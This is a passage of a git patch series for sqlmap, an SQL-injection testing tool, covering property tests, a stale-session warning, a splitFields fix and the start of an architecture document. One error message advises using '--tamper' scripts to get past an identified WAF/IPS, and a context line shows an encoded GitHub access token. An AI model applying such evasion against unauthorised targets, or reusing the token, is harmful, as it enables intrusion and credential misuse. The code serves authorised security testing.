set(rng.choice([1, 2, 3, u"a", u"b"]) for _ in range(rng.randint(0, 3))) + return dict((u"k%d" % j, gen_pickle(rng)) for j in range(rng.randint(0, 2))) + + +def gen_columns(rng): + return [rng.choice([u"id", u"userid", u"name", u"password", u"a", u"created_id", u"x_id_y", u"data"]) + for _ in range(rng.randint(0, 6))] + + +def gen_ident(rng): + # clean (round-trippable) identifier names: letters/digits/underscore, optional dot/space + chars = string.ascii_letters + string.digits + u"_" + name = u"".join(rng.choice(chars) for _ in range(rng.randint(1, 10))) + if rng.randint(0, 3) == 0: + name += rng.choice([u".col", u" alias", u"_2"]) + return name + + +# well-formed field lists: balanced parens, properly closed/escaped quotes +_TOKENS = [u"foo", u"bar", u"id", u"a b", u"1", u"*", u"max(a)", u"COALESCE(a, b, c)", u"func(x, y)"] +_QUOTED = [u"a,b", u"x, y", u"f(1, 2)", u"o''k", u"plain", u""] + + +def gen_sql_fields(rng): + parts = [] + for _ in range(rng.randint(1, 5)): + t = rng.randint(0, 9) + if t < 5: + parts.append(rng.choice(_TOKENS)) + elif t < 8: + q = rng.choice([u"'", u'"']) + parts.append(q + rng.choice(_QUOTED) + q) + else: + parts.append(u"g(%s, %s)" % (rng.choice(_TOKENS), rng.choice(_TOKENS))) + return u", ".join(parts) + + +class TestCodecRoundTrips(unittest.TestCase): + def test_base64(self): + for_all(self, gen_blob, lambda b: decodeBase64(encodeBase64(b)) == b, label="base64") + + def test_hex(self): + for_all(self, gen_blob, lambda b: decodeHex(encodeHex(b)) == b, label="hex") + + def test_getbytes_gettext(self): + # unsafe=False -> plain UTF-8 (no \xNN escape interpretation), so it is a clean round-trip + for_all(self, gen_text, lambda s: getText(getBytes(s, unsafe=False)) == s, label="bytes-text") + + def test_json(self): + for_all(self, gen_json, lambda v: dejsonize(jsonize(v)) == v, label="json") + + def test_pickle(self): + for_all(self, gen_pickle, lambda v: base64unpickle(base64pickle(v)) == v, label="pickle") + + def test_html_escape(self): + for_all(self, gen_text, lambda s: htmlUnescape(htmlEscape(s)) == s, label="html") + + def test_cloak(self): + for_all(self, gen_blob, lambda b: decloak(data=cloak(data=b)) == b, label="cloak") + + +class TestStructureTransforms(unittest.TestCase): + def test_unarrayize_never_listlike(self): + # the whole point of unArrayizeValue is that the result is a scalar, never a list/tuple + # (gen_pickle includes sets - they used to crash here; see test_unarrayize_set regression) + for_all(self, gen_pickle, lambda v: not isListLike(unArrayizeValue(v)), label="unarrayize") + + def test_flatten_is_flat(self): + for_all(self, gen_pickle, lambda v: all(not isListLike(x) for x in flattenValue([v])), label="flatten") + + def test_unarrayize_set(self): + # regression: a 1-element set is list-like but not subscriptable; unArrayizeValue must + # de-arrayize it rather than crash on value[0] + self.assertEqual(unArrayizeValue(set(["x"])), "x") + self.assertEqual(unArrayizeValue(set()), None) + self.assertEqual(unArrayizeValue(["1"]), "1") # ordinary fast-path still works + + def test_prioritysort_is_permutation(self): + # sorting must not invent/drop columns, and must be idempotent + def prop(cols): + out = prioritySortColumns(cols) + return sorted(out) == sorted(cols) and prioritySortColumns(out) == out + for_all(self, gen_columns, prop, label="prioritysort") + + +class TestStringTransforms(unittest.TestCase): + def test_normalize_unicode_is_ascii(self): + for_all(self, gen_text, lambda s: all(ord(c) < 128 for c in normalizeUnicode(s)), label="normalize-ascii") + + def test_sanitizestr_strips_newlines(self): + for_all(self, gen_text, lambda s: "\n" not in sanitizeStr(s) and "\r" not in sanitizeStr(s), label="sanitizestr") + + def test_filterstringvalue_charset(self): + allowed = set("0123456789abcdef") + for_all(self, gen_text, lambda s: set(filterStringValue(s, r"[0-9a-f]")) <= allowed, label="filterstring") + + def test_escapejson_no_control_char(self): + # control chars and bare quotes must be escaped away (output is JSON-string-body safe re: those) + for_all(self, gen_text, lambda s: all(c >= " " for c in escapeJsonValue(s)), label="escapejson-invariant") + + def test_escapejson_json_roundtrip(self): + # escapeJsonValue(s) embedded in a JSON string must parse back to s - for ALL text, + # including backslash (the F1 fix; this used to fail on '\') + import json + for_all(self, gen_text, lambda s: json.loads(u'"%s"' % escapeJsonValue(s)) == s, label="escapejson-roundtrip") + + def test_escapejson_backslash(self): + # regression for F1: backslash is now escaped, so the round-trip holds + import json + self.assertEqual(json.loads(u'"%s"' % escapeJsonValue(u"a\\b")), u"a\\b") + + def test_getords_length(self): + for_all(self, gen_text, lambda s: len(getOrds(s)) == len(s) and all(isinstance(o, int) for o in getOrds(s)), label="getords") + + def test_consolelength_ascii(self): + for_all(self, gen_ascii, lambda s: getConsoleLength(s) == len(s), label="consolelength") + + +class TestRandomHelpers(unittest.TestCase): + def test_randomstr_length_and_alphabet(self): + for_all(self, lambda r: r.randint(0, 16), + lambda n: len(randomStr(n)) == n and set(randomStr(n)) <= set(string.ascii_letters), label="randomstr") + + def test_randomstr_lowercase(self): + for_all(self, lambda r: r.randint(0, 16), + lambda n: set(randomStr(n, lowercase=True)) <= set(string.ascii_lowercase), label="randomstr-lower") + + def test_randomint_digits(self): + for_all(self, lambda r: r.randint(1, 8), lambda n: len(str(randomInt(n))) == n, label="randomint") + + def test_randomrange_bounds(self): + def prop(_): + a = _[0] + b = _[0] + _[1] + return a <= randomRange(a, b) <= b + for_all(self, lambda r: (r.randint(-50, 50), r.randint(0, 100)), prop, label="randomrange") + + +class TestSplitterInvariants(unittest.TestCase): + def test_reconstruction(self): + # pure partition identity: rejoining the 0-depth split must reproduce the (space-normalized) input + for_all(self, gen_text, lambda s: u",".join(splitFields(s)) == s.replace(", ", ","), label="split-reconstruct-text") + for_all(self, gen_sql_fields, lambda s: u",".join(splitFields(s)) == s.replace(", ", ","), label="split-reconstruct-sql") + + def test_never_cuts_inside_parens(self): + # on well-formed input no field may carry unbalanced parens (i.e. a split never lands inside a group) + for_all(self, gen_sql_fields, lambda s: all(f.count(u"(") == f.count(u")") for f in splitFields(s)), label="split-balanced") + + def test_zerodepth_indices_are_real_commas(self): + def prop(s): + idx = zeroDepthSearch(s, ",") + return all(s[i] == u"," for i in idx) and idx == sorted(idx) and len(set(idx)) == len(idx) + for_all(self, gen_text, prop, label="zerodepth-commas-text") + for_all(self, gen_sql_fields, prop, label="zerodepth-commas-sql") + + +class TestIdentifierRoundTrip(unittest.TestCase): + def setUp(self): + self._saved = kb.get("forcedDbms") + set_dbms("MySQL") # identifier quoting is DBMS-specific; pin a case-preserving back-end + + def tearDown(self): + kb.forcedDbms = self._saved + + def test_safe_unsafe_roundtrip(self): + for_all(self, gen_ident, lambda n: unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming(n)) == n, label="identifier") + + +class TestRobustness(unittest.TestCase): + # total functions: must never raise on arbitrary text (return value unconstrained) + def test_urlencode_urldecode(self): + for_all(self, gen_text, lambda s: (urlencode(s), urldecode(s)) and True, label="urlcodec") + + def test_safecharencode(self): + for_all(self, gen_text, lambda s: safecharencode(s) is not None or s == u"", label="safecharencode") + + def test_stdoutencode(self): + for_all(self, gen_text, lambda s: stdoutEncode(s) is not None or s == u"", label="stdoutencode") + + +if __name__ == "__main__": + unittest.main() From ea1f08922097022316a58fb3922e79adbba29704 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 18:29:32 +0200 Subject: [PATCH 570/853] Adding some warning message --- data/txt/sha256sums.txt | 4 ++-- lib/controller/controller.py | 15 +++++++++++++++ lib/core/settings.py | 5 ++++- 3 files changed, 21 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 11dab7d7b50..55391e1c09c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py 6da812281a69c8b7a5181c2f76374dc695e4727b2936042651bacbeda4e6bcc9 lib/controller/checks.py -85146a0565467952a35cdd234031d8de01ef8f354c8676f6484b0bfb911c5347 lib/controller/controller.py +6068e48ec6337a6955ca6c9ca4479bf6dabaf963f28b459d9c52cee3910f3cda lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -03034e80de6b81ec5d5482f8c4dff1722f636f09e226f42b6849e78164da3682 lib/core/settings.py +ef64975437d734f34f15026d9fec87eb147999912c187985a2c83c9bb3ffb08e lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/controller/controller.py b/lib/controller/controller.py index fa14478767f..ff64a81bd34 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -70,6 +70,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EMPTY_FORM_FIELDS_REGEX from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX +from lib.core.settings import HASHDB_STALE_DAYS from lib.core.settings import HOST_ALIASES from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import LOW_TEXT_PERCENT @@ -190,6 +191,20 @@ def _showInjections(): data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") conf.dumper.string(header, data) + # when results were resumed (no test requests this run), nudge if the session file is stale - + # this is the common "why is it showing old/unexpected results?" confusion + if kb.testQueryCount == 0 and not conf.freshQueries: + try: + days = int((time.time() - os.path.getmtime(conf.hashDBFile)) / (24 * 3600)) + except (OSError, IOError, TypeError): + days = 0 + + if days >= HASHDB_STALE_DAYS: + warnMsg = "results above were resumed from a session file last updated %d days ago, " % days + warnMsg += "so they may be stale. Rerun with '--flush-session' to retest " + warnMsg += "or '--fresh-queries' to ignore cached query results" + logger.warning(warnMsg) + if conf.tamper: warnMsg = "changes made by tampering scripts are not " warnMsg += "included in shown payload content(s)" diff --git a/lib/core/settings.py b/lib/core/settings.py index 9d859b1c5eb..e76d5180a14 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.114" +VERSION = "1.10.6.115" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -717,6 +717,9 @@ # Restricted PAT token for automated crash reporting (last rotation: 2026-04-24) GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe" +# Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge) +HASHDB_STALE_DAYS = 7 + # Flush HashDB threshold number of cached items HASHDB_FLUSH_THRESHOLD_ITEMS = 200 From 4e2438dc1e72c47b35bc1a930104a97a2e97b8c3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 20:53:14 +0200 Subject: [PATCH 571/853] Minor patches --- data/txt/sha256sums.txt | 10 ++++----- lib/core/common.py | 35 +++++++++++++++++++++++++++++-- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 5 ++++- tests/test_property.py | 16 +++++++++++--- 6 files changed, 57 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 55391e1c09c..d141d1541f1 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py -1452ffc42657bea207583173de9829dddf4afd9b159c785284e43878de492afb lib/core/common.py +7fc5a845a78e6fb7b1a2fdef2fe529510ac5f2c9fac78de588844b4a8c1504e1 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -181,14 +181,14 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 3ec59b5eb336d9808d28496f1cbbad716b4a0e276b5399023142826e460e3fd2 lib/core/optiondict.py -3ff871fe8391952c3ec3bb528ba592a13926c80ca0b68fd322a317f69a651ef7 lib/core/option.py +b61676f0aa44798aaf9be72ff37550e2b78ed6ad3c71fbcad54f8c8bf7b34096 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ef64975437d734f34f15026d9fec87eb147999912c187985a2c83c9bb3ffb08e lib/core/settings.py +1a73ece519f93c569f9b0b9b5837213bb20aa8d1fc6be54db240c5b5d9308162 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -230,7 +230,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -09c3759b59bc111712f75b0b1762d195c0da0e0741dd76379546c429e8ed4457 lib/techniques/blind/inference.py +42368a281d4d6f1571da95f2fb67afc43696ecdb6cad9720a178461f861b4fcd lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py @@ -589,7 +589,7 @@ caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_mis cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py -5dc46919f971f89a3073118ec00bf420cc9cecf0b072b2f896df2f860e87adec tests/test_property.py +a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_property.py 5c95e7863190e440234f231864fb1219c35207132762858cc95181c57086bafc tests/test_replication.py 67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py diff --git a/lib/core/common.py b/lib/core/common.py index b1b205ddfd0..0dc2f3cb573 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4507,13 +4507,15 @@ def safeCSValue(value): '"foo, bar"' >>> safeCSValue('foobar') 'foobar' + >>> safeCSValue('foo\\rbar') + '"foo\\rbar"' """ retVal = value if retVal and isinstance(retVal, six.string_types): if not (retVal[0] == retVal[-1] == '"'): - if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): + if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')): retVal = '"%s"' % retVal.replace('"', '""') return retVal @@ -5299,9 +5301,38 @@ def splitFields(fields, delimiter=','): >>> splitFields('foo, bar, max(foo, bar)') ['foo', 'bar', 'max(foo,bar)'] + >>> splitFields("a, 'b, c', d") + ['a', "'b, c'", 'd'] """ - fields = fields.replace("%s " % delimiter, delimiter) + # collapse " " -> "" but only OUTSIDE quoted string literals, so a + # space inside e.g. 'b, c' survives (the quote handling mirrors zeroDepthSearch) + normalized = [] + quote = None + index = 0 + while index < len(fields): + char = fields[index] + if quote: + normalized.append(char) + if char == quote: + if index + 1 < len(fields) and fields[index + 1] == quote: # escaped quote (e.g. '') + normalized.append(fields[index + 1]) + index += 2 + continue + else: + quote = None + elif char in ('"', "'"): + quote = char + normalized.append(char) + elif char == delimiter and index + 1 < len(fields) and fields[index + 1] == ' ': + normalized.append(char) # keep the delimiter, drop the single trailing space + index += 2 + continue + else: + normalized.append(char) + index += 1 + + fields = "".join(normalized) commas = [-1, len(fields)] commas.extend(zeroDepthSearch(fields, ',')) commas = sorted(commas) diff --git a/lib/core/option.py b/lib/core/option.py index 5f23a1aea52..516a82ee143 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2074,6 +2074,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.cache.comparison = LRUDict(capacity=256) kb.cache.encoding = LRUDict(capacity=256) kb.cache.alphaBoundaries = None + kb.cache.charsetAsciiTbl = None kb.cache.hashRegex = None kb.cache.intBoundaries = None kb.cache.parsedDbms = {} diff --git a/lib/core/settings.py b/lib/core/settings.py index e76d5180a14..237abab222f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.115" +VERSION = "1.10.6.116" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index faf0a9383ea..41c490b7f3b 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -80,7 +80,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return 0, None if charsetType is None and conf.charset: - asciiTbl = sorted(set(ord(_) for _ in conf.charset)) + # conf.charset is fixed for the whole run; compute the table once, not per bisection() call + if kb.cache.charsetAsciiTbl is None: + kb.cache.charsetAsciiTbl = sorted(set(ord(_) for _ in conf.charset)) + asciiTbl = kb.cache.charsetAsciiTbl else: asciiTbl = getCharset(charsetType) diff --git a/tests/test_property.py b/tests/test_property.py index cc1b00e3a1a..04cf72180b1 100644 --- a/tests/test_property.py +++ b/tests/test_property.py @@ -220,9 +220,19 @@ def prop(_): class TestSplitterInvariants(unittest.TestCase): def test_reconstruction(self): - # pure partition identity: rejoining the 0-depth split must reproduce the (space-normalized) input - for_all(self, gen_text, lambda s: u",".join(splitFields(s)) == s.replace(", ", ","), label="split-reconstruct-text") - for_all(self, gen_sql_fields, lambda s: u",".join(splitFields(s)) == s.replace(", ", ","), label="split-reconstruct-sql") + # Faithful partition: rejoining the 0-depth split reconstructs the input modulo the only + # transform splitFields applies - dropping a single space after an unquoted delimiter. So + # nothing other than spaces may be lost/added/reordered. (Space-insensitive so it survives + # the quote-aware normalization: spaces inside 'literals' are kept, comma-trailing ones are + # not; either way no non-space content changes.) + for_all(self, gen_text, lambda s: u",".join(splitFields(s)).replace(u" ", u"") == s.replace(u" ", u""), label="split-reconstruct-text") + for_all(self, gen_sql_fields, lambda s: u",".join(splitFields(s)).replace(u" ", u"") == s.replace(u" ", u""), label="split-reconstruct-sql") + + def test_quoted_literal_spaces_preserved(self): + # the I3 contract: a ", " inside a quoted literal must NOT be collapsed (the whole literal + # survives intact as a single field) + for_all(self, lambda r: u"%s, '%s, %s', %s" % (r.choice([u"a", u"id"]), r.choice([u"x", u"p q"]), r.choice([u"y", u"z"]), r.choice([u"b", u"c"])), + lambda s: u"'%s'" % s.split(u"'")[1] in splitFields(s), label="split-quote-preserve") def test_never_cuts_inside_parens(self): # on well-formed input no field may carry unbalanced parens (i.e. a split never lands inside a group) From 75c4c868b40e587419b686ff95e82c1c04da5847 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 21:14:10 +0200 Subject: [PATCH 572/853] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/controller/controller.py | 10 +++++++--- lib/core/settings.py | 2 +- 3 files changed, 10 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d141d1541f1..a7d8cfcf18b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py 6da812281a69c8b7a5181c2f76374dc695e4727b2936042651bacbeda4e6bcc9 lib/controller/checks.py -6068e48ec6337a6955ca6c9ca4479bf6dabaf963f28b459d9c52cee3910f3cda lib/controller/controller.py +969737ac9cd3fa7bac8b582a85016bd348ba2087daa3644a570a9127e686363b lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1a73ece519f93c569f9b0b9b5837213bb20aa8d1fc6be54db240c5b5d9308162 lib/core/settings.py +5b6dc61ef2551e8a0dfad01aaeefe737b28587add0b1c1e406b4721e1b30c3be lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/controller/controller.py b/lib/controller/controller.py index ff64a81bd34..584158236d3 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -725,9 +725,13 @@ def start(): errMsg += "does not match exclusively True responses." if not conf.tamper: - errMsg += " If you suspect that there is some kind of protection mechanism " - errMsg += "involved (e.g. WAF) maybe you could try to use " - errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" + if kb.identifiedWafs: + errMsg += " As a WAF/IPS ('%s') was identified during the run, " % ", ".join(kb.identifiedWafs) + errMsg += "you are strongly advised to retry with option '--tamper' (e.g. '--tamper=space2comment')" + else: + errMsg += " If you suspect that there is some kind of protection mechanism " + errMsg += "involved (e.g. WAF) maybe you could try to use " + errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" if not conf.randomAgent: errMsg += " and/or switch '--random-agent'" diff --git a/lib/core/settings.py b/lib/core/settings.py index 237abab222f..2bb5c2a05af 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.116" +VERSION = "1.10.6.117" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From cc7f803d60f0696d7a879571498a17c8a3dae148 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 21:44:04 +0200 Subject: [PATCH 573/853] Adding ARCHITECTURE.md --- data/txt/sha256sums.txt | 3 +- doc/ARCHITECTURE.md | 237 ++++++++++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 3 files changed, 240 insertions(+), 2 deletions(-) create mode 100644 doc/ARCHITECTURE.md diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a7d8cfcf18b..3088c412e15 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -85,6 +85,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml 9d7dcbc6c5e368c44db851865ff49c791c3dee1ee62d8c02af8f8b15f4551aed data/xml/queries.xml +e043101194219a2e4c8bc352f0d3a04b87e1c28b1bcd6c13f6d5d1c9e260b653 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md @@ -188,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5b6dc61ef2551e8a0dfad01aaeefe737b28587add0b1c1e406b4721e1b30c3be lib/core/settings.py +878a1bbd202fa07ded97ab33e630b196e159aec49a6377d01247c4ccb1152a37 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md new file mode 100644 index 00000000000..3e39e44217c --- /dev/null +++ b/doc/ARCHITECTURE.md @@ -0,0 +1,237 @@ +# sqlmap architecture + +A contributor-oriented map of how sqlmap is put together: the major components, +how a run flows through them, and where to start looking for a given concern. + +> This is a map, not a spec. It describes the durable structure and data flow; for +> exact signatures, option names, and enumerable lists (tampers, DBMSes, options), +> the source is authoritative. **When this document disagrees with the code, the 